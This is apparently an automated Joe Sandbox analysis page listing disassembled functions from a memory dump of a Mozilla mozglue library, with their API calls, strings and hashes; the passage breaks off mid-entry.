Function 6C32BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C377A3F), ref: 6C32BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C377A3F), ref: 6C32BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C377A3F), ref: 6C32BF7E

Strings

8l, xrefs: 6C32BF84

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: 8l
API String ID: 4279176481-3353761436
Opcode ID: d61542bcc5ace047b8951d8f6f3aeaa986185b7654ec8cba762ad6192518a80d
Instruction ID: 7a710133e49e0cd48b1874c42906953386d1659909b26628eb2367f35b73730e
Opcode Fuzzy Hash: d61542bcc5ace047b8951d8f6f3aeaa986185b7654ec8cba762ad6192518a80d
Instruction Fuzzy Hash: 75119FB92017448FD729CF1DD599966FBF8FB5A308355885DEA8A8B760C732A804CF90

Function 6C35E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C35E577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35E584
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C35E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C35E826, 6C35E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C35E722, 6C35E750, 6C35E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C35E5A1, 6C35E5CC, 6C35E5FF, 6C35E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C35E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C35E777

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 66079655f747f3dbd8e3f0259994f8d2698085a270ae355a67b6509c690d1b73
Instruction ID: 33608ac0eff2c80a2b98f6ad203b7c96e0ab188012579288d22f58e470738196
Opcode Fuzzy Hash: 66079655f747f3dbd8e3f0259994f8d2698085a270ae355a67b6509c690d1b73
Instruction Fuzzy Hash: AF118E32A04354DFCB109F15C448B59BBB8FB89729F410519F8965B650E775A814CF92

Function 6C360CC6 Relevance: 6.3, APIs: 5, Instructions: 83stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C360CD5

Part of subcall function 6C34F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C34F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C360D40
free.MOZGLUE ref: 6C360DCB

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

free.MOZGLUE ref: 6C360DDD
free.MOZGLUE ref: 6C360DF2

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: e010bf19826951ca96b21c4ba7a25c4c8fcd0dc4eed7ea523db82f4ab6cb6f3e
Instruction ID: 83db94e58a5ab9cea8acb16b410ae46f4db99c779db5b9ce23fdd498fdc99a0c
Opcode Fuzzy Hash: e010bf19826951ca96b21c4ba7a25c4c8fcd0dc4eed7ea523db82f4ab6cb6f3e
Instruction Fuzzy Hash: 3631E2759097908AD720CF2AC18139EFBE5BFC8618F108A2EE8D887B50D7709485CF92

Function 6C350800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C350838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C35084C
EnterCriticalSection.KERNEL32(?), ref: 6C3508AF
LeaveCriticalSection.KERNEL32(?), ref: 6C3508BD
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C3508D5

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: bd649c25bdbae78363322cc8a2ed4bb57c6089c7a3fb68c040ec8a419a366611
Instruction ID: 97129c2239e44862e0c33e08432d1d144d5056f50b2b18c780877a53e7c3f64a
Opcode Fuzzy Hash: bd649c25bdbae78363322cc8a2ed4bb57c6089c7a3fb68c040ec8a419a366611
Instruction Fuzzy Hash: 2321AF32B012499BEB048FA5D884FAE73B9BF4570DF940528D919A7A40EB37A8148FD1

Function 6C36CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CDA4

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

Part of subcall function 6C36D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C36CDBA,00100000,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D158
Part of subcall function 6C36D130: InitializeConditionVariable.KERNEL32(00000098,?,6C36CDBA,00100000,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CDC4

Part of subcall function 6C367480: ReleaseSRWLockExclusive.KERNEL32(?,6C3715FC,?,?,?,?,6C3715FC,?), ref: 6C3674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CECC

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

Part of subcall function 6C35CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C36CEEA,?,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000), ref: 6C35CB57
Part of subcall function 6C35CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C35CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C36CEEA,?,?), ref: 6C35CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D058

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b69f87a85350cc88895bca10cdd415d95d5c899d28baef1dc34e86bb6b41ed5b
Instruction ID: 6176eb9548e84f3c8cd6fb33553e2fb518eee23ff8c206739a89d614eea66f9c
Opcode Fuzzy Hash: b69f87a85350cc88895bca10cdd415d95d5c899d28baef1dc34e86bb6b41ed5b
Instruction Fuzzy Hash: 45D17F71A04B069FD708CF29D480B99B7E1BF89308F11862DD8998BB15EB71A965CFC1

Function 6C321720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C3217B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C3218EE
free.MOZGLUE(?), ref: 6C321911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C32194C

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 6712ed6dd48f6f04151ce9ce38fe378b7b82306d69638ec71bbd0534803f47a5
Instruction ID: 7e20589999dbbbcddfa698a8add33959cf0860eb3e9b72ef6959b50ef4e84fc3
Opcode Fuzzy Hash: 6712ed6dd48f6f04151ce9ce38fe378b7b82306d69638ec71bbd0534803f47a5
Instruction Fuzzy Hash: 71819A70A152059FCF08CF68D9C49AEBBB5FF89314B04462CE851AB754DB36E944CFA2

Function 6C335C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C335D40
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67
__aulldiv.LIBCMT ref: 6C335DB4
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5057e8fb93db062adc2f4951367110e4acec2bf4e237ea0e5295f376f8e64fa4
Instruction ID: 7873bd98e8c6077fb134b0398d8510d679e8348a3171c532755cc48a01b39777
Opcode Fuzzy Hash: 5057e8fb93db062adc2f4951367110e4acec2bf4e237ea0e5295f376f8e64fa4
Instruction Fuzzy Hash: 63516F71E002698FDF08CF68C854AAEBBB6FB89304F19861DD855A7750D7326945CFD0

Function 6C31CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C31CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C31CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C31CF4E

Strings

0, xrefs: 6C31CF30

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: e7a03ba869fa60e24ec3a0a0d5bfa209c7695d18c3a6da13d87f7ef7b8f5a436
Instruction ID: c6432fb80a64a540895f671f7b32a93d90e2d456e43fe022207453481668dbfb
Opcode Fuzzy Hash: e7a03ba869fa60e24ec3a0a0d5bfa209c7695d18c3a6da13d87f7ef7b8f5a436
Instruction Fuzzy Hash: C3511271A042168FCB04CF18D890AAABBB5EF99304F198299D8595F751D331ED06CFE0

Function 6C3777D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3777FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C377829

Part of subcall function 6C34CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C3131A7), ref: 6C34CC45
Part of subcall function 6C34CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C3131A7), ref: 6C34CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C37789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C3778CF

Part of subcall function 6C314DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
Part of subcall function 6C314DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 02f0389ba18fe6dc861f46a2fb50f5451c805fb5563f094b2f75ab79a5d26ef4
Instruction ID: f8b7ca7faacc336c60ff78cd3bd3f75022379fe5dd4927571f90474e339f4a3f
Opcode Fuzzy Hash: 02f0389ba18fe6dc861f46a2fb50f5451c805fb5563f094b2f75ab79a5d26ef4
Instruction Fuzzy Hash: 0441AE71904B469FD301DF29D48056AFBF4FF8A258F204A2DE4E987640EB31D55ACB92

Function 6C356470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C3582BC,?,?), ref: 6C35649B

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3564A9

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C35653F
free.MOZGLUE(?), ref: 6C35655A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3473f2ce832acd97c3a23b303b3f2961d293a8fc4a29f2d025625fe9c36ca39d
Instruction ID: 3347cb2386b9332946636a027a27d16b724816a5d9bf272ecc386c63f0d29cca
Opcode Fuzzy Hash: 3473f2ce832acd97c3a23b303b3f2961d293a8fc4a29f2d025625fe9c36ca39d
Instruction Fuzzy Hash: 103181B5A043059FD700CF25D880A9EB7F4BF88314F40482DE89A97744D734E918CF92

Function 6C34FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?), ref: 6C34FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?), ref: 6C34FFF5
free.MOZGLUE(?,?,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?), ref: 6C35001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?), ref: 6C35002A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 25f1003c61ab4ad20b8c194e1f1a42afa1d422012a530fe41cdb6c977b492463
Instruction ID: 2d2e2a82b145e2e1100226a48e32fef61f91001045b81d9b04c007c69858acf3
Opcode Fuzzy Hash: 25f1003c61ab4ad20b8c194e1f1a42afa1d422012a530fe41cdb6c977b492463
Instruction Fuzzy Hash: 742106B2E002115BC7089E78DC848AFB7FAEB893243294338E525D7780EB71AD118AD1

Function 6C32B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32B4F5
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32B502
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32B542
free.MOZGLUE(?), ref: 6C32B578

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 56a60df2d370149e508d9f35f45e4e1dee68f024044f279d402fc28ecd96792f
Instruction ID: 416b16358e9ec317e3efe4bbbc565d6ace8ded64d00276efd704d8b867fb34e3
Opcode Fuzzy Hash: 56a60df2d370149e508d9f35f45e4e1dee68f024044f279d402fc28ecd96792f
Instruction Fuzzy Hash: C411D531904B45C7D7118F29D400765B3B9FFDA31DF20970AE88A5BA01FB7AB5D48B91

Function 6C353DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C31F20E,?), ref: 6C353DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C31F20E,00000000,?), ref: 6C353DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C353E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C353E0E

Part of subcall function 6C34CC00: GetCurrentProcess.KERNEL32(?,?,6C3131A7), ref: 6C34CC0D
Part of subcall function 6C34CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C3131A7), ref: 6C34CC16

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a8b2481c80b978358408234117997e06ea3bfbb0fb1f9fe774c99a96ce92c123
Instruction ID: 56acc5fc64e739b3ab505f1c595a9b7377e1ad510ff3eb49c245b608258bae28
Opcode Fuzzy Hash: a8b2481c80b978358408234117997e06ea3bfbb0fb1f9fe774c99a96ce92c123
Instruction Fuzzy Hash: 8BF012716002087BDB01AF55EC41DAB376DDF46628F044020FD4957741E636BD298AF7

Function 6C3685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C3685D3

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C368725

Strings

map/set<T> too long, xrefs: 6C368720

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3b5f6a7b626853ba9550774f3c2df6944260bccade1f3a9f90e349da8c90cd3f
Instruction ID: ac26e8cfb588ab7ec1f2b39cf91b4ae89a08841ca1ca0fa3320506dedc4d3b5c
Opcode Fuzzy Hash: 3b5f6a7b626853ba9550774f3c2df6944260bccade1f3a9f90e349da8c90cd3f
Instruction Fuzzy Hash: 525164B4A00641CFD701CF1AC084A5AFBF1BF4A318F18C28AD9595BB56C376E885CF92

Function 6C31BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C31BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C31BE8F

Strings

0, xrefs: 6C31BE5B

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c6767d382bd5df4f29cdfcb321b3140dc2a262e032d96b3cff6aa579514a5cc5
Instruction ID: 046a935cdc82627cc364b7f7d7ce2d27ba26688d921edb3074af09526c046fca
Opcode Fuzzy Hash: c6767d382bd5df4f29cdfcb321b3140dc2a262e032d96b3cff6aa579514a5cc5
Instruction Fuzzy Hash: E441AFB1909745CFC705CF38D481A9BB7E8AF8A38CF008A1DF9859BB11D731D9598B92

Function 6C353CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C353D19
mozalloc_abort.MOZGLUE(?), ref: 6C353D6C

Strings

d, xrefs: 6C353D58

Memory Dump Source

